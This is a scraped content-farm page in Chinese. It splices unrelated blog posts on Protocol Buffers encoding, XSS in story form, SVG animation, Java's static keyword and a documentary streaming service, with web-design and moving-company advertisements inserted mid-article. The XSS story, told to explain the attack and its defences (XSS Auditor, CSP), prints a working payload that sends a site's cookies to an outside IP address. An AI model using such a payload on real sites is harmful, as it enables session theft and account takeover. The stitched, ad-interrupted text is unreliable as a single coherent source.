Protocol Buffers工作原理_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

這裏記錄一下學習與使用Protocol Buffer的筆記,優點缺點如何使用這裏不再敘述,重點關注與理解Protocol Buffers的工作原理,其大概實現。

我們經常使用Protocol Buffer進行序列化與反序列化。理解Protocol Buffer的工作原理,就要理解序列化與反序列化。

  • 序列化:將數據結構或對象轉換為二進制串的過程;
  • 反序列化:序列化的逆過程;

如何實現呢?核心有兩點:編碼 + 存儲。數據在計算機間通過網絡進行傳輸時,傳輸的是比特流,只有0和1,並沒有你所定義的各種類對象等,你如果想將一個類對象傳輸到對方,怎麼辦呢?字符是用過ASCII碼編碼的,這裏也可以設計一套編碼方案來對類似類對象這種數據進行編碼,只要對方收到后能正確的解碼就可以了。編碼后還要確定編碼后的數據存儲方式,這樣字節流才是有意義的字節流,這樣才能知道讀取的字節流有什麼含義,代表什麼。

好了,我們看一下Protocol Buffer是如何編碼和存儲的。

Protocol Buffer是如何編碼的

Varint編碼

Varint編碼是一種變長的編碼方式,核心思想是對數值越小的数字,用越少的字節數表示,這樣可以減少数字的字節數,進行數據壓縮。

舉個例子:對int數據類型,一般需要4個字節來表示,而實際上,對與數值較小的数字而言,無需這麼多字節,00000000 00000000 00000000 01111111 | 127,只需要一個字節就能表示,前面3個字節意義不大,浪費了許多空間。

當然,這種編碼並不是所有情況下都會變小,當數值非常大時,所需的字節會增多,但因為大多數情況下數值小的数字遠比數值大的多,所以整體看來,數據是被壓縮了的。

具體的,Varint編碼時,對每個字節的最高位賦予特殊含義:

  • 1:表示後序的字節也是該数字的一部分;
  • 0:表示這是最後一個字節,且剩餘7bit都用來表示数字(所以Varint解碼時,如果讀到最高位為0的字節時,就表示已經是Varing的最後一個字節);

因為每個字節的最高位都被佔用,用來表示特殊的含義,所以,當數值非常大時,原有的字節數就不夠用了,所以編碼時要增加字節數。

可以參考下圖加深理解:

編碼示例:

解碼示例:

還有一個問題:就是負數時怎麼辦?計算機中數值用補碼形式表示和存儲(負數在計算機中往往用最位1來表示負數,0表示正數,負數的補碼最高位為1),那按Varint編碼方式所有的負數都需要增加一個字節表示,這是不能被接受的,解決方法便是下面要講的zigzag編碼。

Zigzag編碼

Zigzag編碼是一種變長的編碼方式。zigzag按絕對值升序排列,將整數hash成遞增的數值序列,哈希函數為h(n)=(n<<1)^(n>>31),對應地long型(64)位的哈希函數為h(n)=(n<<1)^(n>>63)

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

n hex h(n) zigzag(hex)
0 00 00 00 00 00 00 00 00 00
-1 ff ff ff ff 00 00 00 01 01
1 00 00 00 01 00 00 00 02 02
-2 ff ff ff fe 00 00 00 03 03
2 00 00 00 02 00 00 00 04 04

可以看到,zigzag編碼將正數和負數重新映射為遞增的無符號數,其主要目的就是使絕對值小的數值映射為小的無符號數,已方便後序壓縮字節。

zigzag編碼還有很多細節,比如為了保證編碼的唯一可譯性,需對哈希值進行前綴碼編碼,這裏不再細述。

解碼為編碼的逆,首先將zigzag編碼還原成哈希值,然後用哈希函數h的逆h’(n)=(n>>>1)^-(n&1)得到原始整數值。

這裏只重點講Varint編碼和Zigzag編碼,像string、double等類型這裏不再描述,可參考文後的參考文檔。

T-L-V的數據存儲方式

T:tag,L:length,V:value。以標識-長度-字段值表示單個數據,最終將所有數據拼接成一個字節流,從而實現數據存儲的功能。

其中Length可選存儲,如存儲Varint編碼數據就不需要存儲Length,因為可根據每個字節最高bit位來判斷這個字節是不是該數據段的最後一個字節。

這裏重點說一下Tag。Tag用來標識字段,通過Tag能獲知這段字節流是屬於什麼類型數據的,其定義為:Tag = (field_number << 3) | wire_type
。這樣,解包時就可根據tag將value對應消息中的字段。

Tag佔用一個字節的長度(如果標識號超過了16,則多佔用一個字節的位置,原因是field_number左移了3位,編碼方式為Varint&Zigzag,編碼的時候一個字節不夠用了)。

message ChannelDataAck {
    bytes uuid = 1;     //這裏的1 、2就是field_number
    uint32 result = 2;  
}

Tag(字段標識號)在序列化和反序列化過程中非常重要。舉一個應用中非常常見的例子,在需要對原有結構進行增減字段的時候,同樣一個結構體定義,新版本代碼中對其增加了一個字段,那當新版本代碼序列化后給原有舊版本反序列化解析的時候,因為舊的沒有那個新增的字段,所以在解析時只解析自己有的字段,沒有的不進行解析,這樣舊的代碼依舊能從新字節流中解析出舊數據結構。那舊的數據結構的數據解析為新數據結構時,因為沒有新字段的數據,解析為新數據時該字段置為默認值。這樣就能保證兼容性,對協議升級較為友好。

可以看到通過T-L-V的數據存儲方式,能夠較好的解決字段不完全匹配時的如何解析的問題。

序列化 & 反序列化過程

序列化過程如下:

  1. 判斷每個字段是否有設置值,有值才進行編碼.
  2. 根據字段標識號&數據類型將字段值通過不同的編碼方式進行編碼.

反序列化過程如下:

  1. 解析從輸入流讀入的二進制字節數據流.
  2. 將解析出來的數據按照指定的格式讀取到C++、Rust等對應的結構類型中.

到這裏,基本把Protocol Buffers的工作原理簡單梳理了一遍,其他技術細節待以後再深究。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

一個神秘URL釀大禍,差點讓我背鍋!_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

神秘URL

我叫小風,是Windows帝國一個普通的上班族。上一回說到因為一個跨域請求,我差點丟了飯碗,好在有驚無險,我的職場歷險記還在繼續。

“叮叮叮叮~~~~”,鬧鐘又把我給吵醒了,我一看時間竟然已經這麼晚了。

我趕緊起身,準備要去上班,好不容易在那家瀏覽器公司謀了個差事,可不敢遲到。

今天又是普通的一天,很快就到了深夜,上網業務少了,我和小雪妹子一合計,夥同負責網絡連接的老白和負責存儲的小黑,一起打起了麻將。

一連打了幾圈,正在興頭上,公司的美女前台跑了過來,“你們幾個別玩了,上網業務來了。老白,這是URL,給”

我瞅了一眼這URL,看上去有些奇怪,不僅比之前見過的都長,貌似還夾雜着一些JavaScript代碼。

http://zone.oo.com/user/info.jsp?desc=”/><script>$(“body”).append(“<img src=’http://192.168.59.129?c=”+escape(document.cookie) + “‘>”)</script><!–

“老白,這URL長的好奇怪?會不會有什麼問題?”,我向老白問到。

“嗨,你小子就是新來的,我見過的URL比你執行過的JS代碼都多,什麼奇形怪狀的沒見過,大驚小怪”,老白不屑一顧。

“大家把牌蓋着,都別看,忙完了回來咱接着打”,老白繼續說到。

於是大家各歸各位,準備處理這一單上網業務。

很快,老白取回了這個URL背後的網頁,交給了小雪來解析渲染。

小雪做了一半,叫住了我:“風哥,又有 <script> 標籤了,該你上了”。

我接過小雪手裡的網頁,猛地一看,這不是剛剛URL裏面出現的代碼嗎?怎麼又跑到網頁裏面去了?

心裏突然湧上一種不好的預感,正在困惑之中,老白催我了,“小雪小風你倆趕緊的,網頁加載半天了還沒显示出來!”

但願是我多想了,我開始執行這 <script> 標籤中的代碼了。

<script>
  $("body").append("\<img src='http://192.168.59.129:10086?c=" 
  + escape(document.cookie) + "'>")
</script>

我要創建一個新的 <img> 標籤,添加到網頁正文中去。看了一下這個圖片的來源,是一個新的地址,再一看,還要把當前網站的Cookie帶着作為參數才能拿到這個圖片。

我來到小黑的存儲倉庫,準備向他索要Cookie。

當我表明來意以後,小黑也顯得有些謹慎,“按照公司規定,一個網站的Cookie是不能隨便給別的網站訪問的

“這我當然知道,不過現在是這個網站的JS代碼主動把Cookie取出來發給別人,這不算違反公司規定吧”,我解釋到。

小黑鄒着眉頭想了一想,也就同意了。

我拿到cookie后,構建了一個完整的 <img> 標籤添加到了網頁的DOM樹中,之後還給小雪繼續渲染。

網頁很快渲染完成展示出來了,忙完之後我們繼續開始未完的牌局。

過了一會兒,人類終於關掉了瀏覽器,我們也可以下班了······

XSS跨站腳本攻擊

第二天一早,我剛到公司,小雪妹子就轉過頭告訴我:“風哥,主管讓你去趟他的辦公室,他好像不太高興,你當心點”

“你知道是什麼事情嗎?”

“我也不太清楚,只聽說你執行了什麼錯誤的JavaScript代碼”

我心裏一緊,感覺大事不妙,難道是昨晚那奇怪的代碼有什麼問題?

來到主管的辦公室,見裏面坐了一個年輕小哥。我輕輕的敲了敲門問到:“主管,您找我有事?”

主管見我到來,指着旁邊的沙發示意我也坐下。

“你闖禍了知道嗎?”,領導扔給我一頁文件。

我拿起文件一看,上面赫然寫着我昨晚執行那段奇怪的JavaScript代碼。

“主管,我不太清楚,這是有什麼問題嗎?”,我小聲問道。

主管指着旁邊那個年輕小哥說到:“這位是OO空間網站的負責人,讓他告訴你吧”

小哥點了點頭說到:“是這樣的,我們發現有人盜用我們網站的Cookie,免登錄直接訪問了進去,經過日誌排查,發現是你們這裏把Cookie泄露的,所以想過來了解一下情況”

“這段代碼是你們網站自己的,我只是完成我的工作執行了它而已啊”,我開始有些緊張了。

“可是我們網站根本沒有這段代碼,也不可能把Cookie就這樣發給別人的”,這小哥也爭辯道。

辦公室的氣氛變得有些緊張,現場陷入了短暫的安靜。

就在此時,年輕小哥出去接了一個電話。

片刻之後,小哥再次回到辦公室,臉色突然和緩了許多,笑着說到:“不好意思,剛剛接到同事的電話說,他們已經排查出了問題,是我們網站對URL中的參數沒有檢查,直接寫入了網頁中,被人利用傳入了JS代碼。跟你們應該沒有關係,實在是抱歉”

聽完,我鬆了一口氣,差點就要背鍋了。

回到工位,我把事情的經過告訴了大夥。

小雪聽后吐槽:“那些奇奇怪怪的URL就別亂點嘛,真是給我們添亂”

“你看你看,我昨晚上就覺得有些不對勁。這壞蛋手段挺高啊,能想出這麼個損招,咱們給這種攻擊方式取個名字吧”,小黑說到,“叫Cross Site Script攻擊怎麼樣?”

老白點了點頭,“跨站腳本攻擊,嗯,總結很到位,那就簡稱CSS吧!”

小雪一聽轉過頭來,“你叫CSS,那我的層疊樣式表豈不是要改名讓賢?”

老白撓了撓頭,有些不好意思,“哦,忘了這一茬。那改一下,叫XSS,這總可以了吧?”

我們都點了點頭,就這麼定了。

XSS Auditor

雖然這一次的事情責任不在我們瀏覽器,不過我一直還是有些后怕。

這天晚上,我又仔細回憶了那天整個事情的經過

突然腦子里靈光一閃,發現一個重要的特點

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

既然JS代碼同時出現在了請求的URL中和響應的網頁中,何不利用這個特點來進行針對性攔截呢?

越想越難入睡,連夜寫起了方案。

第二天,來到公司,打算將昨晚的方案彙報給主管,掙一下錶現。

我再次來到主管辦公室,主管見是我,招呼道:“小風啊,來來來,剛好找你有點事”

我快步走了進去,只見主管又拿出了一疊文件放在我的面前,隨後說到:“這是我搞到的絕密資料,是咱們隔壁Chrome瀏覽器公司的一個叫XSS Auditor的技術,據說可以阻止類似上次的攻擊事件,你抽空研究一下”

我腦子一懵,趕緊快速瀏覽了這份文件,沒想到居然跟我的方案撞到一塊兒了,而且比我想的還全面細緻。我只好悄悄收起了原來準備彙報的方案······

幾天後,主管宣布我們也要用上這種技術,增強咱們瀏覽器的安全性。

存儲型XSS

“聽說了嗎?隔壁Chrome瀏覽器公司也發生XSS攻擊了”,一天中午,老白神神秘秘的說到。

我一聽來了精神,“不是有XSS Auditor嗎,怎麼還會發生這種事?”

“這回那些壞蛋換招了,他們沒有把JS代碼放在URL中,XSS Auditor自然是發覺不了了”

“不在URL中,那放哪裡了?”

“聽說是存在了數據庫里,訪問網頁的時候從數據庫里讀取出來后,直接給填充到了網頁上了,喏,就像這樣”,老白說完畫了一個圖。

“對了,他們藉此機會把XSS攻擊分成了兩種,以前那種直接通過URL把JS代碼注入進網頁的方式叫做反射型XSS,這一次這種叫存儲型XSS”,老白繼續說到。

我看了老白的圖一下就明白了,“這一招也太狠了,存進了網站的數據庫里,所有人訪問頁面都得中招”

“可不是咋的,OO空間網站那邊已經亂成一鍋粥了,正在內部整頓,對所有的輸入進行全面的檢查過濾,防止JS代碼混進去。”

“這種事情還是得他們網站自己做好檢查,咱們瀏覽器也幫不上什麼忙”,一旁的小黑也插了一嘴。

大家七嘴八舌聊了幾句就散了。

雖然小黑說的也沒錯,不過上次的方案撞車,我一直不太服氣,這一次機會來了,我要是能再想出一套方案,能把這次的新型XSS一併解決的話,那就揚眉吐氣了。

之後一段時間,一有閑暇我就開始思考這個問題,卻一直沒什麼進展。

CSP

這一天中午,沒什麼工作要忙,我又想起了這個問題,小雪他們又組織打麻將,我沒有心思便拒絕了。

老白聞訊過來,說到:“小風,你還在想那個問題啊,你這两天沒看新聞嗎,W3C標準化組織推出了一個新技術,已經把這個問題解決了!”

老白的話如當頭一棒,“什麼技術?怎麼解決的?”

“你看你,天天關起門來研究,都不知道外面的世界變化有多快。你去了解一下,好像叫什麼Content Security Policy,哦對,就是這個,簡稱叫CSP

我趕緊去打聽了這個叫CSP的新技術,看完直拍大腿,我怎麼就沒想到。

CSP規定了一個叫Content-Security-Policy的信息,網站通過這個信息告訴瀏覽器哪些外部資源可以加載和執行。這個信息可以用HTTP頭的形式出現,像這樣:

也可以通過 <meta> 標籤出現,像這樣:

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

至於裏面的內容,則是將所有可能出現外部資源加載的地方進行了指示,瀏覽器拿到它就能知道能去哪些地址加載對應的資源,如果資源所在的地址不在名單之內就拒絕加載:

- script-src:外部腳本
- style-src:樣式表
- img-src:圖像
- media-src:媒體文件(音頻和視頻)
- font-src:字體文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部資源
- connect-src:HTTP 連接(通過 XHR、WebSockets、EventSource等)
- worker-src:worker腳本
- manifest-src:manifest 文件

比如 img-src的內容是self,那所有的 <img> 標籤的src屬性必須是在當前網站才行,如果加載其他地址的圖片就會拒絕。

不僅如此,還提供了一個叫report-uri的字段,字段內容是一個服務器地址,瀏覽器發現有不符合規定的資源加載后,除了拒絕加載還可以把這一情況報告給這個地址,網站就能及時知道預警了。

真是完美的解決方案!沒想到,竟然這麼多競爭對手都已經用上了這項技術

當天下午,我就拉着老白去到領導辦公室,說服他將這項技術在咱們公司也用起來。

煩人的XSS攻擊總算是緩解了不少,我們也難得度過了一段時間的太平日子。

未完待續······

彩蛋

太平的日子沒有太持久,那件事之後半個月,我又因為執行一段JS代碼霸佔CPU太久,被帝國安全警衛隊勒令我們瀏覽器公司強制關閉。

執行JavaScript這份工是越來越不好打了。

預知後事如何,請關注後續精彩······

往期熱門回顧

因為一個跨域請求,我差點丟了飯碗

就為了一個原子操作,其他CPU核心都罷工了

完了!CPU一味求快出事兒了!

可怕!CPU竟成了黑客的幫凶!

哈希表哪家強?幾大編程語言吵起來了!

震撼!全網第一張源碼分析全景圖揭秘Nginx

一個整數+1引發的災難

一網打盡!每個程序猿都該了解的黑客技術大匯總

DDoS攻擊:無限戰爭

一個Java對象的回憶錄:垃圾回收

誰動了你的HTTPS流量?

路由器里的廣告秘密

一個HTTP數據包的奇幻之旅

我是一個流氓軟件線程

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

svg高級應用及動畫_貨運

※回頭車貨運收費標準

宇安交通關係企業,自成立迄今,即秉持著「以誠待人」、「以實處事」的企業信念

canvas 和 webGL 這兩項圖形技術結合 css3 可以說能完成絕大部分的動畫和需求。但 canvas 和 webGL 畢竟是偏向底層的繪製引擎,某些場景使用起來還是過於繁瑣的,不分場合一律使用鎚子解決的行為不值得提倡。svg 在解決排版,圖標,相關動畫還是非常高效的,而且 svg 還是矢量圖形,高清還原各種屏幕尺寸的設計簡直就是神器。

svg 基礎知識不再講解,結合svg特點和應用場景,主要介紹如下幾方面的內容

  • svg sprite
  • css background-image 插入svg
  • 文字路徑
  • 路徑動畫

SVG sprite

SVG sprite 之於 font-face 的優勢就是矢量圖的抗鋸齒效果,再也不需要為適配高清屏而操心。使用方式就是 svg 標籤結合 symbol元素即可,其中 svg 是容器,而symbol 則是組件模板。怎麼把svg組件显示出來呢?使用 use 元素指向組件的id即可,如下所示:

<svg>
    <symbol id="ok">
        <!-- svg元素或組合 -->
    </symbol>
    <!-- ... -->
</svg>

<use href="#ok"/>

當然網上有很多工具可以幫我們把圖標自動sprite,比如:iconfot,gulp-svg-symbols

在css中插入svg

SVG 添加到網頁中有多種方法,最常見的是:

  1. 在 HTML 中內聯
  2. objectiframeembed 標籤插入
  3. img 標籤
  4. CSS background-image 屬性

html 內聯方式

<svg>
  <title>line</title>
  <line x1="20" y1="20" x2="100" y2="100">
</svg>

使用 object、iframe 或 embed 標籤插入

<object data="flag.svg" type="image/svg+xml"></object>
<iframe src="flag.svg" frameborder="0"></iframe>
<embed src="flag.svg" type="" />

使用img標籤插入

<img src="flag.svg"/>

現在重點介紹一下使用 css background屬性插入的方式;既可以使用圖片路徑也可以使用 base64 格式的data URI 方式

.svg-bg {
  background-image: url("./bg.svg");
}
.svg-background {
  background-image: url("data:image/svg+xml;<DATA>");
}

我認為使用 background base64 引入svg是最具靈活性的一種方式,還可以加入svg動畫,不需要額外加載圖標,只需引入css即可。同時跟普通圖片相比它又有着抗鋸齒的優勢,因此元素尺寸隨意調整不擔心失真。比如下面使用background data URI 引入的加載動畫css:

<style>
.loading{
  width: 50px;
  height: 50px;
  background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='80' height='80'%3E%3Cpath d='M10 40a30 30 0 1130 30' stroke-width='4' stroke='hsl(220,90%,60%)' fill='none'%3E%3CanimateTransform attributeName='transform' begin='0s' dur='1.4s' type='rotate' from='0 40 40' to='360 40 40' repeatCount='indefinite'/%3E%3C/path%3E%3C/svg%3E")
  no-repeat center / cover;
}
</style>

<body>
<div class="loading"></div>
</body>

文字路徑

svg 除了繪製圖形,插入文字也是很方便的,方式也簡單,使用 text 元素包裹文本內容即可

<text fill="hsla(260,80%,50%,1)" x="10" y="40" font-size="30"> I Love SVG </text>

還有一種很實用的效果就是文字路徑,也就是文字按照定義好的 path 進行排列显示,這需要使用到另一個標籤 textPath。實現方式:首先定義一個path元素(這裏使用三次貝塞爾曲線),然後 textPath元素使用 xlink:href 屬性引入path,最後再用 text標籤包裹。

※智慧手機時代的來臨,RWD網頁設計為架站首選

網動結合了許多網際網路業界的菁英共同研發簡單易操作的架站工具,及時性的更新,為客戶創造出更多的網路商機。

<g>
  <title> 文字路徑 </title>
  <path id="path" d="M 10 100 C 100 0 150 300 250 100" fill="none" stroke="#555"/>
  <text x="10" y="100" stroke="hsl(280,100%,50%)">
    <textPath xlink:href="#path">I Love SVG I Love SVG I Love SVG</textPath>
  </text>
</g>

文字路徑 I Love SVG I Love SVG I Love SVG I Love SVG

svg路徑動畫

svg動畫既可以使用 css3 相關屬性實現,也可以使用自己獨有的SMIL實現。SMIL主要用以下標籤:

  • animate:基礎動畫元素,實現單屬性的動畫過渡效果

  • animateTransform: 實現transform變換動畫效果

  • animateMotion:路徑動畫效果

這裏只介紹路徑動畫,基礎動畫和變換動畫與css動畫相似,就不再介紹。來看一個基於 css3 的 animation 實現百分比加載的動畫。這裏用到了兩個關鍵屬性:

  • stroke-dasharray:設置線條斷開為虛線,數值越大,線就越長

  • stroke-dashoffset:設置線條的偏移,設置后,線段就會偏移相應的值,實現線條動畫只要動態改變這個偏移值就好

首先需要通過js獲取路徑的總長度

//獲取路徑長度
const arc = document.getElementById('circle');
console.log(arc.getTotalLength()); //250.92141723632812

接着編寫svg相關

<style>
  circle {
    fill: transparent;
    stroke-width: 10px;
  }
  #circle {
    stroke-dasharray: 250.921;
    stroke-dashoffset: 250.921;
    animation: round 3s linear infinite;
  }
  @keyframes round {
    to {
      stroke-dashoffset: 0;
    }
  }
</style>
<g>
  <circle cx="100" cy="60" r="40" stroke="#ccc" />
  <circle id="circle" cx="100" cy="60" r="40" stroke="hsl(160,80%,50%)" />
</g>

當然其他stroke線條動畫也類似

Click Me

接着我們再基於svg animateMotion標籤來實現path路徑動畫,其中path是運動路徑,dur 是持續時間,repeatCount設置是否循環

<g id="pathAnimate">
  <title> 路徑動畫 </title>
  <path stroke="hsl(0,0%,60%)" d="M 10 300 Q 150 100 300 300 T 490 300Z" stroke-width="2" fill="none"/>
  <circle cx="0" cy="0" r="8" stroke-width="1" stroke="hsl(300,10%,40%)" fill="hsl(300,100%,50%)">
    <animateMotion path="M 10 300 Q 150 100 300 300 T 500 300Z" dur="4s" repeatCount="indefinite"/>
  </circle>
</g>

路徑動畫

使用svg實現路徑動畫真是性價比超高。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※評比南投搬家公司費用收費行情懶人包大公開

搬家價格與搬家費用透明合理,不亂收費。本公司提供下列三種搬家計費方案,由資深專業組長到府估價,替客戶量身規劃選擇最經濟節省的計費方式

面試官:兄弟,說說Java的static關鍵字吧_包裝設計

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

讀者乙在上一篇我去系列文章里留言說,“我盲猜下一篇標題是,‘我去,你竟然不知道 static 關鍵字’”。我只能說乙猜對了一半,像我這麼有才華的博主,怎麼可能被讀者猜中了心思呢,必須搞點不一樣的啊,所以本篇文章的標題你看到了。

七年前,我從美女很多的蘇州回到美女也不少的洛陽,抱着一幅“從二線城市退居三線城市”的心態,投了不少簡歷,也“約談”了不少面試官,但僅有兩三個令我感到滿意。其中有一位叫老馬,至今還活在我的微信通訊錄里。他當時扔了一個面試題把我砸懵了:“兄弟,說說 Java 的 static 關鍵字吧。

我那時候二十三歲,正值青春年華,自認為所有的面試題都能對答如流,結果沒想到啊,被“刁難”了——原來洛陽這塊互聯網的荒漠也有技術專家啊。現在回想起來,臉上不自覺地泛起了羞愧的紅暈:主要是自己當時太菜了。

不管怎麼說,經過多年的努力,我現在的技術功底已經非常紮實了,有能力寫篇文章剖析一下 Java 的 static 關鍵字了——只要能給初學者一些參考,我就覺得非常滿足。

先來個提綱挈領(唉呀媽呀,成語區博主上線了)吧:

static 關鍵字可用於變量、方法、代碼塊和內部類,表示某個特定的成員只屬於某個類本身,而不是該類的某個對象。

01、靜態變量

靜態變量也叫類變量,它屬於一個類,而不是這個類的對象。

public class Writer {
    private String name;
    private int age;
    public static int countOfWriters;

    public Writer(String name, int age) {
        this.name = name;
        this.age = age;
        countOfWriters++;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

其中,countOfWriters 被稱為靜態變量,它有別於 name 和 age 這兩個成員變量,因為它前面多了一個修飾符 static

這意味着無論這個類被初始化多少次,靜態變量的值都會在所有類的對象中共享。

Writer w1 = new Writer("沉默王二",18);
Writer w2 = new Writer("沉默王三",16);

System.out.println(Writer.countOfWriters);

按照上面的邏輯,你應該能推理得出,countOfWriters 的值此時應該為 2 而不是 1。從內存的角度來看,靜態變量將會存儲在 Java 虛擬機中一個名叫“Metaspace”(元空間,Java 8 之後)的特定池中。

靜態變量和成員變量有着很大的不同,成員變量的值屬於某個對象,不同的對象之間,值是不共享的;但靜態變量不是的,它可以用來統計對象的數量,因為它是共享的。就像上面例子中的 countOfWriters,創建一個對象的時候,它的值為 1,創建兩個對象的時候,它的值就為 2。

簡單小結一下:

1)由於靜態變量屬於一個類,所以不要通過對象引用來訪問,而應該直接通過類名來訪問;

2)不需要初始化類就可以訪問靜態變量。

public class WriterDemo {
    public static void main(String[] args) {
        System.out.println(Writer.countOfWriters); // 輸出 0
    }
}

02、靜態方法

靜態方法也叫類方法,它和靜態變量類似,屬於一個類,而不是這個類的對象。

public static void setCountOfWriters(int countOfWriters) {
    Writer.countOfWriters = countOfWriters;
}

setCountOfWriters() 就是一個靜態方法,它由 static 關鍵字修飾。

如果你用過 java.lang.Math 類或者 Apache 的一些工具類(比如說 StringUtils)的話,對靜態方法一定不會感動陌生。

Math 類的幾乎所有方法都是靜態的,可以直接通過類名來調用,不需要創建類的對象。

簡單小結一下:

1)Java 中的靜態方法在編譯時解析,因為靜態方法不能被重寫(方法重寫發生在運行時階段,為了多態)。

2)抽象方法不能是靜態的。

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

3)靜態方法不能使用 this 和 super 關鍵字。

4)成員方法可以直接訪問其他成員方法和成員變量。

5)成員方法也可以直接方法靜態方法和靜態變量。

6)靜態方法可以訪問所有其他靜態方法和靜態變量。

7)靜態方法無法直接訪問成員方法和成員變量。

03、靜態代碼塊

靜態代碼塊可以用來初始化靜態變量,儘管靜態方法也可以在聲明的時候直接初始化,但有些時候,我們需要多行代碼來完成初始化。

public class StaticBlockDemo {
    public static List<String> writes = new ArrayList<>();

    static {
        writes.add("沉默王二");
        writes.add("沉默王三");
        writes.add("沉默王四");

        System.out.println("第一塊");
    }

    static {
        writes.add("沉默王五");
        writes.add("沉默王六");

        System.out.println("第二塊");
    }
}

writes 是一個靜態的 ArrayList,所以不太可能在聲明的時候完成初始化,因此需要在靜態代碼塊中完成初始化。

簡單小結一下:

1)一個類可以有多個靜態代碼塊。

2)靜態代碼塊的解析和執行順序和它在類中的位置保持一致。為了驗證這個結論,可以在 StaticBlockDemo 類中加入空的 main 方法,執行完的結果如下所示:

第一塊
第二塊

04、靜態內部類

Java 允許我們在一個類中聲明一個內部類,它提供了一種令人信服的方式,允許我們只在一個地方使用一些變量,使代碼更具有條理性和可讀性。

常見的內部類有四種,成員內部類、局部內部類、匿名內部類和靜態內部類,限於篇幅原因,前三種不在我們本次文章的討論範圍,以後有機會再細說。

public class Singleton {
    private Singleton() {}

    private static class SingletonHolder {
        public static final Singleton instance = new Singleton();
    }

    public static Singleton getInstance() {
        return SingletonHolder.instance;
    }
}

以上這段代碼是不是特別熟悉,對,這就是創建單例的一種方式,第一次加載 Singleton 類時並不會初始化 instance,只有第一次調用 getInstance() 方法時 Java 虛擬機才開始加載 SingletonHolder 並初始化 instance,這樣不僅能確保線程安全也能保證 Singleton 類的唯一性。不過,創建單例更優雅的一種方式是使用枚舉。

簡單小結一下:

1)靜態內部類不能訪問外部類的所有成員變量。

2)靜態內部類可以訪問外部類的所有靜態變量,包括私有靜態變量。

3)外部類不能聲明為 static。

學到了吧?學到就是賺到。

我是沉默王二,一枚有趣的程序員。如果覺得文章對你有點幫助,請微信搜索「 沉默王二 」第一時間閱讀,回復【666】更有我為你精心準備的 500G 高清教學視頻(已分門別類)。

本文 GitHub 已經收錄,有大廠面試完整考點,歡迎 Star。

原創不易,莫要白票,請你為本文點個贊吧,這將是我寫作更多優質文章的最強動力。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

記錄片串流服務 Documentary+ 推出,超過 150 部免費線上觀看_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

串流影音平台百家爭鳴,不管是電影、劇集、動畫,都能夠在用戶訂閱後利用串流方式來觀賞,也成為許多人休閒時光的消遣方式。近日一個專注於非電影類內容的平台 Documentary+ 上線推出了,希望能夠在競爭激烈中,成功在喜愛觀賞記錄片的人群中殺出一片紅海。

記錄片串流服務 Documentary+ 推出,超過 150 部免費線上觀看

Documentary+ 這個服務是由 Tony Hsieh(最近甫過世的前 Zappos 首席執行長)與 XTR 工作室合作的專案,並且由多位知名導演和電影製作人共同推出。一推出,該服務即有相當多樣化類別可供觀眾選擇,包括政治、體育、喜劇、音樂與真實犯罪,另外還有許多其他類型的記錄片,並且著重於高質感內容,一上線就有超過 150 部影片可供選擇觀賞。
【前往 Documentary+,點這裡】

Documentary+ 的創始人之一、XTR 首席執行長表示,平台上所有影片都是擁有合法授權,隨著影片的下架與新影片的推出,影片庫將隨著時間變化而變化,目的是為了讓整個服務始終保持個人化與高度規劃,就如同記錄片世界中的標準平台一樣。這項服務可以在電腦網頁、行動裝置、Apple TV、Amazon與 Roku 中觀看,目前為了能擴大使用族群採完全免費制且尚未有計劃推出無廣告版本,但未來若需求充足,該服務不排除討論無廣告套餐服務的可能。

雖說這個免費平台看起來相當強大,但 Documentary+ 目前還得面對相當多的競爭對手,包括 Netflix、HBO Max、Discovery+ 和 Hulu 都有自家產品,而像 Kanopy 和 CuriosityStream 這樣的服務也都有相當可觀的影片資源,不過這大多數服務都是需要按月收取訂閱費用(Kanopy 除外)。現階段免費提供服務,或許能夠在疫情期間為大家打發掉在家不出門的空閒,這時間點或許能夠幫助讓 Documentary+成為用戶訂閱付費服務外的重要備選,可惜的是目前該平台影片沒有字幕,更沒有中文字幕啊!

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

